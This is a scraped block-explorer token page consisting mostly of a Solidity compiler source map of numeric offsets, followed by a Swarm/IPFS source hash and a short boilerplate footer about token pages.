3451:6392:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4821:83;;;;;;;;;;-1:-1:-1;4891:5:0;;;;;;;;;;;;-1:-1:-1;;;4891:5:0;;;;4821:83;;;;;;;:::i;:::-;;;;;;;;7639:193;;;;;;;;;;-1:-1:-1;7639:193:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;7639:193:0;1004:187:1;4076:41:0;;;;;;;;;;-1:-1:-1;4076:41:0;;;;-1:-1:-1;;;;;4076:41:0;;;;;;-1:-1:-1;;;;;1386:32:1;;;1368:51;;1356:2;1341:18;4076:41:0;1196:229:1;5196:108:0;;;;;;;;;;;;;:::i;:::-;;;1576:25:1;;;1564:2;1549:18;5196:108:0;1430:177:1;5946:353:0;;;;;;;;;;-1:-1:-1;5946:353:0;;;;;:::i;:::-;;:::i;5007:83::-;;;;;;;;;;-1:-1:-1;3734:1:0;5007:83;;;2117:4:1;2105:17;;;2087:36;;2075:2;2060:18;5007:83:0;1945:184:1;5098:90:0;;;;;;;;;;-1:-1:-1;5169:11:0;;;;5098:90;;9609:87;;;;;;;;;;;;;:::i;:::-;;9381:220;;;;;;;;;;-1:-1:-1;9381:220:0;;;;;:::i;:::-;;:::i;5312:177::-;;;;;;;;;;-1:-1:-1;5312:177:0;;;;;:::i;:::-;-1:-1:-1;;;;;5463:18:0;5431:7;5463:18;;;:9;:18;;;;;;;5312:177;3924:29;;;;;;;;;;;;;;;;2525:87;;;;;;;;;;-1:-1:-1;2571:7:0;2598:6;-1:-1:-1;;;;;2598:6:0;2525:87;;4912;;;;;;;;;;-1:-1:-1;4984:7:0;;;;;;;;;;;;-1:-1:-1;;;4984:7:0;;;;4912:87;;3960:30;;;;;;;;;;;;;;;;5706:232;;;;;;;;;;-1:-1:-1;5706:232:0;;;;;:::i;:::-;;:::i;5497:201::-;;;;;;;;;;-1:-1:-1;5497:201:0;;;;;:::i;:::-;-1:-1:-1;;;;;5663:18:0;;;5631:7;5663:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5497:201;8217:202;;;;;;;;;;-1:-1:-1;8217:202:0;;;;;:::i;:::-;;:::i;9704:99::-;;;;;;;;;;-1:-1:-1;9704:99:0;;;;;:::i;:::-;-1:-1:-1;;;;;9782:13:0;9757:5;9782:13;;;:9;:13;;;;;;;;;9704:99;8527:51;;;;;;;;;;;;;:::i;7639:193::-;7741:4;7763:39;2290:10;7786:7;7795:6;7763:8;:39::i;:::-;-1:-1:-1;7820:4:0;7639:193;;;;;:::o;5196:108::-;5257:7;3792:13;3734:1;3792:2;:13;:::i;:::-;3782:23;;:7;:23;:::i;:::-;5277:19;;5196:108;:::o;5946:353::-;6078:4;6095:36;6105:6;6113:9;6124:6;6095:9;:36::i;:::-;-1:-1:-1;;;;;6213:19:0;;;;;;:11;:19;;;;;;;;2290:10;6213:33;;;;;;;;;6142:127;;6165:6;;6213:45;;6251:6;6213:37;:45::i;:::-;6142:8;:127::i;:::-;-1:-1:-1;6287:4:0;5946:353;;;;;:::o;9609:87::-;2484:13;:11;:13::i;:::-;9677:11:::1;::::0;;-1:-1:-1;;9662:26:0;::::1;9677:11;::::0;;::::1;9676:12;9662:26;::::0;;9609:87::o;9381:220::-;2484:13;:11;:13::i;:::-;9451:12:::1;9466:4;:19;;9480:5;9466:19;;;9473:4;9466:19;-1:-1:-1::0;;;;;9504:19:0;::::1;;::::0;;;:15:::1;:19;::::0;;;;;9451:34;;-1:-1:-1;9504:30:0;::::1;;:19;::::0;;::::1;:30;;::::0;9496:57:::1;;;::::0;-1:-1:-1;;;9496:57:0;;5040:2:1;9496:57:0::1;::::0;::::1;5022:21:1::0;5079:2;5059:18;;;5052:30;-1:-1:-1;;;5098:18:1;;;5091:44;5152:18;;9496:57:0::1;;;;;;;;;-1:-1:-1::0;;;;;9564:19:0;;;::::1;;::::0;;;:15:::1;:19;::::0;;;;:29;;-1:-1:-1;;9564:29:0::1;::::0;::::1;;::::0;;;::::1;::::0;;;-1:-1:-1;9381:220:0:o;5706:232::-;5820:4;2290:10;5881:27;2290:10;5898:2;5902:5;5881:9;:27::i;8217:202::-;2484:13;:11;:13::i;:::-;8290:12:::1;8305:4;:12;;8316:1;8305:12;;;8312:1;8305:12;-1:-1:-1::0;;;;;8336:13:0;::::1;;::::0;;;:9:::1;:13;::::0;;;;;8290:27;;-1:-1:-1;8336:23:0::1;::::0;;::::1;:13:::0;::::1;:23:::0;8328:50:::1;;;::::0;-1:-1:-1;;;8328:50:0;;5040:2:1;8328:50:0::1;::::0;::::1;5022:21:1::0;5079:2;5059:18;;;5052:30;-1:-1:-1;;;5098:18:1;;;5091:44;5152:18;;8328:50:0::1;4838:338:1::0;8328:50:0::1;-1:-1:-1::0;;;;;8389:13:0;;;::::1;;::::0;;;:9:::1;:13;::::0;;;;:22;;-1:-1:-1;;8389:22:0::1;;::::0;;::::1;::::0;;;::::1;::::0;;;-1:-1:-1;8217:202:0:o;8527:51::-;2484:13;:11;:13::i;:::-;8565:10:::1;:8;:10::i;:::-;8527:51::o:0;7840:369::-;-1:-1:-1;;;;;7967:19:0;;7959:68;;;;-1:-1:-1;;;7959:68:0;;5383:2:1;7959:68:0;;;5365:21:1;5422:2;5402:18;;;5395:30;5461:34;5441:18;;;5434:62;-1:-1:-1;;;5512:18:1;;;5505:34;5556:19;;7959:68:0;5181:400:1;7959:68:0;-1:-1:-1;;;;;8046:21:0;;8038:68;;;;-1:-1:-1;;;8038:68:0;;5788:2:1;8038:68:0;;;5770:21:1;5827:2;5807:18;;;5800:30;5866:34;5846:18;;;5839:62;-1:-1:-1;;;5917:18:1;;;5910:32;5959:19;;8038:68:0;5586:398:1;8038:68:0;-1:-1:-1;;;;;8117:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8169:32;;1576:25:1;;;8169:32:0;;1549:18:1;8169:32:0;;;;;;;7840:369;;;:::o;6307:1272::-;-1:-1:-1;;;;;6430:18:0;;6422:68;;;;-1:-1:-1;;;6422:68:0;;6191:2:1;6422:68:0;;;6173:21:1;6230:2;6210:18;;;6203:30;6269:34;6249:18;;;6242:62;-1:-1:-1;;;6320:18:1;;;6313:35;6365:19;;6422:68:0;5989:401:1;6422:68:0;-1:-1:-1;;;;;6509:16:0;;6501:64;;;;-1:-1:-1;;;6501:64:0;;6597:2:1;6501:64:0;;;6579:21:1;6636:2;6616:18;;;6609:30;6675:34;6655:18;;;6648:62;-1:-1:-1;;;6726:18:1;;;6719:33;6769:19;;6501:64:0;6395:399:1;6501:64:0;6578:32;6593:4;6599:2;6603:6;6578:14;:32::i;:::-;-1:-1:-1;;;;;5463:18:0;;6623:19;5463:18;;;:9;:18;;;;;;6693:21;;;;6671:109;;;;-1:-1:-1;;;6671:109:0;;7001:2:1;6671:109:0;;;6983:21:1;7040:2;7020:18;;;7013:30;7079:34;7059:18;;;7052:62;-1:-1:-1;;;7130:18:1;;;7123:36;7176:19;;6671:109:0;6799:402:1;6671:109:0;-1:-1:-1;;;;;6829:15:0;;6793:17;6829:15;;;:9;:15;;;;;;;;:20;6825:61;;6866:8;;;6825:61;-1:-1:-1;;;;;6903:21:0;;;;;;:15;:21;;;;;;;;6902:22;:46;;;;-1:-1:-1;;;;;;6929:19:0;;;;;;:15;:19;;;;;;;;6928:20;6902:46;6898:308;;;6973:11;;;;6965:53;;;;-1:-1:-1;;;6965:53:0;;7408:2:1;6965:53:0;;;7390:21:1;7447:2;7427:18;;;7420:30;7486:31;7466:18;;;7459:59;7535:18;;6965:53:0;7206:353:1;6965:53:0;7045:31;7072:3;7045:22;7056:10;;7045:6;:10;;:22;;;;:::i;:::-;:26;;:31::i;:::-;7101:13;;7033:43;;-1:-1:-1;;;;;;7101:13:0;;;;;;7095:19;;;;7091:104;;7147:32;7175:3;7147:23;7158:11;;7147:6;:10;;:23;;;;:::i;:32::-;7135:44;;7091:104;7222:13;;7218:172;;7297:4;7279:24;;;;:9;:24;;;;;;:39;;7308:9;7279:28;:39::i;:::-;7270:4;7252:24;;;;:9;:24;;;;;;;:66;;;;7338:40;;-1:-1:-1;;;;;7338:40:0;;;;;;;7368:9;1576:25:1;;1564:2;1549:18;;1430:177;7338:40:0;;;;;;;;7218:172;-1:-1:-1;;;;;7420:15:0;;;;;;:9;:15;;;;;;:27;;7440:6;7420:19;:27::i;:::-;-1:-1:-1;;;;;7402:15:0;;;;;;:9;:15;;;;;:45;7474:40;7492:21;:6;7503:9;7492:10;:21::i;:::-;-1:-1:-1;;;;;7474:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;7458:13:0;;;;;;;:9;:13;;;;;:56;;;;7530:41;;;7549:21;:6;7560:9;7549:10;:21::i;:::-;7530:41;;1576:25:1;;;1564:2;1549:18;7530:41:0;;;;;;;6411:1168;;6307:1272;;;:::o;3166:123::-;3224:7;3256:1;3251;:6;;3244:14;;;;:::i;:::-;3276:5;3280:1;3276;:5;:::i;:::-;3269:12;3166:123;-1:-1:-1;;;3166:123:0:o;2620:108::-;2684:6;;-1:-1:-1;;;;;2684:6:0;2290:10;2684:22;2676:44;;;;-1:-1:-1;;;2676:44:0;;8031:2:1;2676:44:0;;;8013:21:1;8070:1;8050:18;;;8043:29;-1:-1:-1;;;8088:18:1;;;8081:39;8137:18;;2676:44:0;7829:332:1;8427:92:0;2290:10;8467:23;;;;:9;:23;;;;;:44;;8494:17;;8467:23;:44;;8494:17;;8467:44;:::i;:::-;;;;-1:-1:-1;;8427:92:0:o;8936:300::-;9082:13;;-1:-1:-1;;;;;9068:28:0;;;9082:13;;;;;9068:28;;:89;;-1:-1:-1;;;;;;9100:57:0;;9114:42;9100:57;9068:89;9064:135;;;9174:13;9182:4;9174:7;:13::i;:::-;9226:1;9217:6;:10;9209:19;;;;;;8936:300;;;:::o;2759:202::-;2817:9;2843:1;2848;2843:6;2839:47;;-1:-1:-1;2873:1:0;2866:8;;2839:47;2900:5;2904:1;2900;:5;:::i;:::-;2896:9;-1:-1:-1;2932:1:0;2923:5;2927:1;2896:9;2923:5;:::i;:::-;:10;2916:18;;;;:::i;2969:189::-;3027:7;3058:1;3054;:5;3047:13;;;;:::i;:::-;3071:9;3083:5;3087:1;3083;:5;:::i;:::-;3071:17;-1:-1:-1;3120:5:0;3124:1;3120;:5;:::i;:::-;3111;3115:1;3111;:5;:::i;:::-;:15;;;;:::i;:::-;3106:1;:20;3099:28;;;;:::i;:::-;3145:5;3149:1;3145;:5;:::i;:::-;3138:12;2969:189;-1:-1:-1;;;;2969:189:0:o;3297:147::-;3355:7;;3387:5;3391:1;3387;:5;:::i;:::-;3375:17;;3415:1;3410;:6;;3403:14;;;;:::i;8669:259::-;-1:-1:-1;;;;;8727:19:0;;;;;;:15;:19;;;;;;;;8723:58;;;8669:259;:::o;8723:58::-;8796:11;;;;8791:130;;8824:26;8839:10;;8824:14;:26::i;:::-;8669:259;:::o;8791:130::-;8883:26;8898:10;;9244:129;9325:4;9311:11;:18;9307:59;;;9346:8;;;14:548:1;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1612:328::-;1689:6;1697;1705;1758:2;1746:9;1737:7;1733:23;1729:32;1726:52;;;1774:1;1771;1764:12;1726:52;1797:29;1816:9;1797:29;:::i;:::-;1787:39;;1845:38;1879:2;1868:9;1864:18;1845:38;:::i;:::-;1835:48;;1930:2;1919:9;1915:18;1902:32;1892:42;;1612:328;;;;;:::o;2134:347::-;2199:6;2207;2260:2;2248:9;2239:7;2235:23;2231:32;2228:52;;;2276:1;2273;2266:12;2228:52;2299:29;2318:9;2299:29;:::i;:::-;2289:39;;2378:2;2367:9;2363:18;2350:32;2425:5;2418:13;2411:21;2404:5;2401:32;2391:60;;2447:1;2444;2437:12;2391:60;2470:5;2460:15;;;2134:347;;;;;:::o;2486:186::-;2545:6;2598:2;2586:9;2577:7;2573:23;2569:32;2566:52;;;2614:1;2611;2604:12;2566:52;2637:29;2656:9;2637:29;:::i;2885:260::-;2953:6;2961;3014:2;3002:9;2993:7;2989:23;2985:32;2982:52;;;3030:1;3027;3020:12;2982:52;3053:29;3072:9;3053:29;:::i;:::-;3043:39;;3101:38;3135:2;3124:9;3120:18;3101:38;:::i;:::-;3091:48;;2885:260;;;;;:::o;3150:127::-;3211:10;3206:3;3202:20;3199:1;3192:31;3242:4;3239:1;3232:15;3266:4;3263:1;3256:15;3282:422;3371:1;3414:5;3371:1;3428:270;3449:7;3439:8;3436:21;3428:270;;;3508:4;3504:1;3500:6;3496:17;3490:4;3487:27;3484:53;;;3517:18;;:::i;:::-;3567:7;3557:8;3553:22;3550:55;;;3587:16;;;;3550:55;3666:22;;;;3626:15;;;;3428:270;;;3432:3;3282:422;;;;;:::o;3709:806::-;3758:5;3788:8;3778:80;;-1:-1:-1;3829:1:1;3843:5;;3778:80;3877:4;3867:76;;-1:-1:-1;3914:1:1;3928:5;;3867:76;3959:4;3977:1;3972:59;;;;4045:1;4040:130;;;;3952:218;;3972:59;4002:1;3993:10;;4016:5;;;4040:130;4077:3;4067:8;4064:17;4061:43;;;4084:18;;:::i;:::-;-1:-1:-1;;4140:1:1;4126:16;;4155:5;;3952:218;;4254:2;4244:8;4241:16;4235:3;4229:4;4226:13;4222:36;4216:2;4206:8;4203:16;4198:2;4192:4;4189:12;4185:35;4182:77;4179:159;;;-1:-1:-1;4291:19:1;;;4323:5;;4179:159;4370:34;4395:8;4389:4;4370:34;:::i;:::-;4440:6;4436:1;4432:6;4428:19;4419:7;4416:32;4413:58;;;4451:18;;:::i;:::-;4489:20;;3709:806;-1:-1:-1;;;3709:806:1:o;4520:140::-;4578:5;4607:47;4648:4;4638:8;4634:19;4628:4;4607:47;:::i;4665:168::-;4738:9;;;4769;;4786:15;;;4780:22;;4766:37;4756:71;;4807:18;;:::i;7564:127::-;7625:10;7620:3;7616:20;7613:1;7606:31;7656:4;7653:1;7646:15;7680:4;7677:1;7670:15;7696:128;7763:9;;;7784:11;;;7781:37;;;7798:18;;:::i;8166:125::-;8231:9;;;8252:10;;;8249:36;;;8265:18;;:::i;8296:127::-;8357:10;8352:3;8348:20;8345:1;8338:31;8388:4;8385:1;8378:15;8412:4;8409:1;8402:15;8428:120;8468:1;8494;8484:35;;8499:18;;:::i;:::-;-1:-1:-1;8533:9:1;;8428:120::o;8553:112::-;8585:1;8611;8601:35;;8616:18;;:::i;:::-;-1:-1:-1;8650:9:1;;8553:112::o

Swarm Source

ipfs://c7775853b284a282de746a486fdf4631f6a09665e2ab25a85fa375cb8f819413
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.